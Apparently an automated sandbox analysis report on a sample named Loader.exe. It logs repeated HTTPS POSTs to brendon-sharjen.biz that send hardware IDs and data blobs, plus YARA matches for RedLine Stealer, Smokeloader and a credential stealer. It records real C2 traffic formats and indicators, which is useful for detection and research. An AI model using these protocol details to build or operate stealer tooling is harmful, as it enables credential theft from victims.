Hl/zsgUJlQ5luP8Nb+DoJCq+1tUufFt2wArArZ7oXhbPziIyApoHnyx9/Awu8e33bO/WF/8qiHcCS0NuHSrdFJ1c8jEESdCOpTj8ze/hq6WoPRZXr/0Z5BJaAqqMvcxdGR7xMhSNwgl0Ov/fO7Ho5+u+F9ev/pk1A0tDbpgp3FTbWTIxhckRTyU6vo6tYPo3er4RxPkskzcAAEKqTKwP00/ccSPSmhHN5rj/j+whKOWoP5YW7HgYt8ILA29dKlw
2024-12-06 12:59:29 UTC	1369	IN	Data Raw: 2f 78 4c 41 39 63 4d 5a 62 37 34 67 4b 49 67 4c 4b 65 72 4f 68 4f 48 36 6e 78 62 39 34 41 50 6b 33 38 4d 71 41 78 44 45 59 32 67 49 38 74 5a 67 59 6b 30 4c 53 7a 43 62 57 4a 70 70 53 38 37 68 4a 30 70 76 39 6e 78 78 5a 6f 51 2f 4a 30 37 79 6b 45 4d 54 62 4d 33 6c 4a 77 46 6d 37 4c 75 61 42 72 35 74 57 33 33 62 4f 2f 53 52 50 6b 6f 43 2b 51 46 57 68 56 38 6a 57 73 59 30 5a 35 64 64 37 4d 56 52 5a 34 45 70 66 71 39 6a 75 6d 78 59 61 59 76 76 67 66 48 66 7a 39 49 59 67 2b 61 45 58 79 54 65 45 78 54 44 38 75 69 50 6f 52 4a 6b 67 37 68 76 32 2b 45 72 47 42 72 5a 53 36 76 58 46 59 71 50 55 68 6e 6b 63 75 54 65 6f 69 34 54 46 51 62 6a 61 51 6e 30 42 7a 45 32 2f 48 76 4b 45 6a 2b 4a 37 6f 68 65 71 6e 44 52 33 38 34 43 47 49 52 32 38 4f 6f 47 43 70 63 6b 4a 38 4d Data Ascii: /xLA9cMZb74gKIgLKerOhOH6nxb94APk38MqAxDEY2gI8tZgYk0LSzCbWJppS87hJ0pv9nxxZoQ/J07ykEMTbM3lJwFm7LuaBr5tW33bO/SRPkoC+QFWhV8jWsY0Z5dd7MVRZ4Epfq9jumxYaYvvgfHfz9IYg+aEXyTeExTD8uiPoRJkg7hv2+ErGBrZS6vXFYqPUhnkcuTeoi4TFQbjaQn0BzE2/HvKEj+J7oheqnDR384CGIR28OoGCpckJ8M
2024-12-06 12:59:29 UTC	1369	IN	Data Raw: 67 42 67 50 65 72 4f 74 38 37 73 65 64 6b 4b 54 78 57 45 57 74 76 30 62 65 41 43 6b 62 6f 6d 57 67 50 6e 70 4a 56 34 69 42 55 69 34 47 5a 4d 4b 69 73 7a 69 6e 78 2f 44 44 2b 4b 51 4b 41 4f 75 69 4d 38 39 4a 4d 55 32 6b 4d 76 63 6a 47 6a 39 6b 69 4a 64 53 62 30 55 75 67 75 72 77 4b 72 58 41 6c 71 32 4e 38 56 68 53 71 75 4a 73 33 43 59 72 48 4c 68 4d 6b 57 52 58 63 58 6a 50 32 51 4e 6f 43 48 79 66 72 4b 73 46 39 73 2f 6f 72 4f 53 2f 52 78 50 6b 73 6c 54 54 43 53 59 4b 70 47 50 69 56 6c 70 34 64 39 37 66 48 79 52 6e 50 34 48 6d 73 33 4c 32 67 65 6a 4c 2b 4c 45 66 56 36 32 79 4f 59 42 56 63 31 6a 68 4a 66 38 6a 53 7a 46 76 69 4e 6c 53 63 42 52 79 30 50 36 7a 5a 50 62 41 71 34 47 34 2b 56 78 46 76 37 56 66 37 69 49 2f 44 71 4a 30 72 45 39 71 56 48 72 4f 79 41 Data Ascii: gBgPerOt87sedkKTxWEWtv0beACkbomWgPnpJV4iBUi4GZMKiszinx/DD+KQKAOuiM89JMU2kMvcjGj9kiJdSb0UugurwKrXAlq2N8VhSquJs3CYrHLhMkWRXcXjP2QNoCHyfrKsF9s/orOS/RxPkslTTCSYKpGPiVlp4d97fHyRnP4Hms3L2gejL+LEfV62yOYBVc1jhJf8jSzFviNlScBRy0P6zZPbAq4G4+VxFv7Vf7iI/DqJ0rE9qVHrOyA
2024-12-06 12:59:29 UTC	1369	IN	Data Raw: 30 74 33 2b 4f 4b 43 53 71 34 4f 74 77 57 46 2b 72 76 56 78 30 30 55 4e 4e 2f 42 44 75 58 4a 55 63 58 47 49 67 56 49 77 42 6d 54 51 77 65 45 37 70 6f 54 71 74 70 43 39 62 6b 57 2f 38 6d 2f 58 52 32 5a 4e 76 6a 4c 33 4d 56 6c 74 63 64 6a 4d 58 69 39 63 4f 39 44 7a 76 53 58 32 6b 65 6a 4c 2b 62 45 66 51 66 79 71 49 5a 63 4a 4a 51 79 78 66 4b 78 6a 52 6e 6c 31 33 73 78 56 46 6e 67 54 6d 2b 33 6a 4d 61 65 4b 72 49 57 55 77 58 68 56 75 66 56 66 37 6a 41 35 43 71 49 77 69 58 4a 43 66 44 61 47 6a 77 70 6f 48 6e 79 33 36 76 59 37 39 73 6e 6f 6c 2b 71 6e 48 33 79 33 38 33 48 64 46 69 55 4a 70 44 43 49 64 31 46 34 4e 6f 61 50 48 6d 67 65 66 4a 2f 39 39 44 71 7a 67 4f 53 55 73 50 67 66 48 66 7a 38 49 59 68 48 4a 78 79 31 64 4b 70 32 47 48 6c 34 78 6f 38 4e 5a 6c 39 Data Ascii: 0t3+OKCSq4OtwWF+rvVx00UNN/BDuXJUcXGIgVIwBmTQweE7poTqtpC9bkW/8m/XR2ZNvjL3MVltcdjMXi9cO9DzvSX2kejL+bEfQfyqIZcJJQyxfKxjRnl13sxVFngTm+3jMaeKrIWUwXhVufVf7jA5CqIwiXJCfDaGjwpoHny36vY79snol+qnH3y383HdFiUJpDCId1F4NoaPHmgefJ/99DqzgOSUsPgfHfz8IYhHJxy1dKp2GHl4xo8NZl9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49731	172.67.130.33	443	3960	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 12:59:30 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=TJ3BO7PG98WBPBS181 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: brendon-sharjen.biz
2024-12-06 12:59:30 UTC	12851	OUT	Data Raw: 2d 2d 54 4a 33 42 4f 37 50 47 39 38 57 42 50 42 53 31 38 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 35 39 43 37 41 44 31 31 42 43 32 42 37 30 32 36 45 46 45 37 41 37 31 32 41 32 36 46 31 0d 0a 2d 2d 54 4a 33 42 4f 37 50 47 39 38 57 42 50 42 53 31 38 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 4a 33 42 4f 37 50 47 39 38 57 42 50 42 53 31 38 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 Data Ascii: --TJ3BO7PG98WBPBS181Content-Disposition: form-data; name="hwid"ECD59C7AD11BC2B7026EFE7A712A26F1--TJ3BO7PG98WBPBS181Content-Disposition: form-data; name="pid"2--TJ3BO7PG98WBPBS181Content-Disposition: form-data; name="lid"HpOoIh--b58c2
2024-12-06 12:59:34 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 12:59:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bcgmsgja9te0aujm29lgq0at0n; expires=Tue, 01-Apr-2025 06:46:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iJySsyooGMHmHPG3kLlaWeEtLlthsJ%2FX6mNXMxankZCw1YVgDjCbgnoj83np2aF8b2XicIUv7d3rPbTViw%2BlSL0n%2FfCapiH%2BWFLEKlyZaJgv%2Fipq1D7gKLesbFZzGzz%2BkABm6qID"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edc741f1fc70cbe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1507&min_rtt=1490&rtt_var=593&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2850&recv_bytes=13794&delivery_rate=1791411&cwnd=166&unsent_bytes=0&cid=f553daf2e94c16ca&ts=3945&x=0"
2024-12-06 12:59:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-06 12:59:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49747	172.67.130.33	443	3960	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 12:59:36 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0J6SZ3SK6E1CYDH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15065 Host: brendon-sharjen.biz
2024-12-06 12:59:36 UTC	15065	OUT	Data Raw: 2d 2d 30 4a 36 53 5a 33 53 4b 36 45 31 43 59 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 35 39 43 37 41 44 31 31 42 43 32 42 37 30 32 36 45 46 45 37 41 37 31 32 41 32 36 46 31 0d 0a 2d 2d 30 4a 36 53 5a 33 53 4b 36 45 31 43 59 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 4a 36 53 5a 33 53 4b 36 45 31 43 59 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 0d 0a Data Ascii: --0J6SZ3SK6E1CYDHContent-Disposition: form-data; name="hwid"ECD59C7AD11BC2B7026EFE7A712A26F1--0J6SZ3SK6E1CYDHContent-Disposition: form-data; name="pid"2--0J6SZ3SK6E1CYDHContent-Disposition: form-data; name="lid"HpOoIh--b58c2f805636
2024-12-06 12:59:39 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 12:59:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jkf0us6avtul37qnafkpahujfl; expires=Tue, 01-Apr-2025 06:46:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bXYxKdtAeHxaBsbvduxm%2FZtf1h1FJ10neo7BatbTYsYdRVPbQ8pb5jk3FbX9vVTSuXj1P1%2BHcNjILD%2FIn8q1s5oTv1nhUHDRF3lZy%2FOKjggNAa3BG71oronZRSLAMld6yeEVHS6d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edc743fdac703d5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1791&min_rtt=1785&rtt_var=681&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2851&recv_bytes=16005&delivery_rate=1593016&cwnd=226&unsent_bytes=0&cid=93f7191da2182de2&ts=3219&x=0"
2024-12-06 12:59:39 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-06 12:59:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49758	172.67.130.33	443	3960	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 12:59:40 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2WF0Z69XM9IXDCX2GKP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20414 Host: brendon-sharjen.biz
2024-12-06 12:59:40 UTC	15331	OUT	Data Raw: 2d 2d 32 57 46 30 5a 36 39 58 4d 39 49 58 44 43 58 32 47 4b 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 35 39 43 37 41 44 31 31 42 43 32 42 37 30 32 36 45 46 45 37 41 37 31 32 41 32 36 46 31 0d 0a 2d 2d 32 57 46 30 5a 36 39 58 4d 39 49 58 44 43 58 32 47 4b 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 57 46 30 5a 36 39 58 4d 39 49 58 44 43 58 32 47 4b 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 Data Ascii: --2WF0Z69XM9IXDCX2GKPContent-Disposition: form-data; name="hwid"ECD59C7AD11BC2B7026EFE7A712A26F1--2WF0Z69XM9IXDCX2GKPContent-Disposition: form-data; name="pid"3--2WF0Z69XM9IXDCX2GKPContent-Disposition: form-data; name="lid"HpOoIh--b5
2024-12-06 12:59:40 UTC	5083	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (X6K~`iO\_,mi`m?ls}Q
2024-12-06 12:59:43 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 12:59:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=880arfkn5p8il4c8du1qgdecqa; expires=Tue, 01-Apr-2025 06:46:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JGj36pZiDfnuN7pEwhByYLjK9SrKkVdTWNKdOwJRLO2vO53L7dZRyvj6aI329C%2Fz%2BvqzWEb3bkmVt9qzReswmJ0Bm2fKpX4vHqHqHNSIUeMFQ5YzfyqtEmNb2Iej%2FJ0LMZJ8y1Pc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edc745cae497ce4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1965&min_rtt=1957&rtt_var=751&sent=17&recv=26&lost=0&retrans=0&sent_bytes=2849&recv_bytes=21380&delivery_rate=1441975&cwnd=228&unsent_bytes=0&cid=42c60acb23b269da&ts=2663&x=0"
2024-12-06 12:59:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-06 12:59:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49769	172.67.130.33	443	3960	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 12:59:44 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WUIPNSQC837A User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1209 Host: brendon-sharjen.biz
2024-12-06 12:59:44 UTC	1209	OUT	Data Raw: 2d 2d 57 55 49 50 4e 53 51 43 38 33 37 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 35 39 43 37 41 44 31 31 42 43 32 42 37 30 32 36 45 46 45 37 41 37 31 32 41 32 36 46 31 0d 0a 2d 2d 57 55 49 50 4e 53 51 43 38 33 37 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 55 49 50 4e 53 51 43 38 33 37 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 0d 0a 2d 2d 57 55 49 50 4e 53 51 Data Ascii: --WUIPNSQC837AContent-Disposition: form-data; name="hwid"ECD59C7AD11BC2B7026EFE7A712A26F1--WUIPNSQC837AContent-Disposition: form-data; name="pid"1--WUIPNSQC837AContent-Disposition: form-data; name="lid"HpOoIh--b58c2f805636--WUIPNSQ
2024-12-06 12:59:48 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 12:59:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rtv4e2k83j9q936ffpuji7cjvn; expires=Tue, 01-Apr-2025 06:46:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NRdEpiB6oP%2Bt8%2BHEuCoT3xFHG5QXdPp%2BISG2heGuABvkisWsqXEsB2LuyyllwQJHfntwGaVC31Ch0SBHwbqpbBy%2Bk8HKy%2Bq%2Bay9PW3ZnqUdY7izhUq3gbXfnvaq4BL3g95%2FPwPW9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edc747708b5432b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2173&min_rtt=2165&rtt_var=818&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2123&delivery_rate=1348729&cwnd=189&unsent_bytes=0&cid=d226a4a54ed017e8&ts=3266&x=0"
2024-12-06 12:59:48 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-06 12:59:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49780	172.67.130.33	443	3960	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 12:59:49 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8JZ5UZWZ7F5CATL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1113 Host: brendon-sharjen.biz
2024-12-06 12:59:49 UTC	1113	OUT	Data Raw: 2d 2d 38 4a 5a 35 55 5a 57 5a 37 46 35 43 41 54 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 43 44 35 39 43 37 41 44 31 31 42 43 32 42 37 30 32 36 45 46 45 37 41 37 31 32 41 32 36 46 31 0d 0a 2d 2d 38 4a 5a 35 55 5a 57 5a 37 46 35 43 41 54 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 4a 5a 35 55 5a 57 5a 37 46 35 43 41 54 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 0d 0a Data Ascii: --8JZ5UZWZ7F5CATLContent-Disposition: form-data; name="hwid"ECD59C7AD11BC2B7026EFE7A712A26F1--8JZ5UZWZ7F5CATLContent-Disposition: form-data; name="pid"1--8JZ5UZWZ7F5CATLContent-Disposition: form-data; name="lid"HpOoIh--b58c2f805636
2024-12-06 12:59:53 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 12:59:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1g3rk94juijlcpd5jrp2ritcok; expires=Tue, 01-Apr-2025 06:46:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pamgoYbOrS5Gu4FePXkyF4Pf6LaQ5mGe4y%2BHvJ8jTbL7Uq4USHcXgFh4mt0Ht8%2BxySdI6s1eXrCCuYzdIEkzmTqO6O4CaTTY5qpw4veVfViHlByWPyCgye3gGatWvNcwQIg46bGB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edc74934b0befa7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1955&min_rtt=1944&rtt_var=752&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=2030&delivery_rate=1434184&cwnd=139&unsent_bytes=0&cid=9f18a4f4b7008874&ts=3658&x=0"
2024-12-06 12:59:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-06 12:59:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49791	172.67.130.33	443	3960	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 12:59:54 UTC	268	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 121 Host: brendon-sharjen.biz
2024-12-06 12:59:54 UTC	121	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 70 4f 6f 49 68 2d 2d 62 35 38 63 32 66 38 30 35 36 33 36 26 6a 3d 62 39 61 62 63 37 36 63 65 35 33 62 36 66 63 33 61 30 33 35 36 36 66 38 66 37 36 34 66 35 65 61 26 68 77 69 64 3d 45 43 44 35 39 43 37 41 44 31 31 42 43 32 42 37 30 32 36 45 46 45 37 41 37 31 32 41 32 36 46 31 Data Ascii: act=get_message&ver=4.0&lid=HpOoIh--b58c2f805636&j=b9abc76ce53b6fc3a03566f8f764f5ea&hwid=ECD59C7AD11BC2B7026EFE7A712A26F1
2024-12-06 12:59:57 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 12:59:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1m5f6guk2mfiljfvergiob7301; expires=Tue, 01-Apr-2025 06:46:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IxtGQYyQSxDsBvRG4apXPb%2B45x7nxhLulW6rH2EVCgrvniXd7cGMahnV8M6Wn4Nyq0X0%2FBnr2qL1IiVdDXQNIVh170R9WtNjooBC%2Fy83isDB7RKE7o3Ud%2F2zmoKit%2Fp9nvj0xBnz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8edc74b30f5241fb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1741&min_rtt=1713&rtt_var=663&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2851&recv_bytes=1025&delivery_rate=1704611&cwnd=181&unsent_bytes=0&cid=52902a047a630789&ts=3322&x=0"
2024-12-06 12:59:57 UTC	54	IN	Data Raw: 33 30 0d 0a 77 38 61 4f 41 7a 2f 6e 2f 78 6a 4f 66 54 73 58 46 46 35 72 64 2b 54 58 6a 62 33 6c 66 5a 44 30 41 67 4f 6d 6a 49 33 2f 6e 6f 69 59 6d 77 3d 3d 0d 0a Data Ascii: 30w8aOAz/n/xjOfTsXFF5rd+TXjb3lfZD0AgOmjI3/noiYmw==
2024-12-06 12:59:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	07:59:03
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0x400000
File size:	306'176 bytes
MD5 hash:	EB604E2A70243ACB885FE5A944A647C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1620822901.0000000003239000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2090628680.0000000000A59000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2090505942.00000000009B0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480118554.0000000003236000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
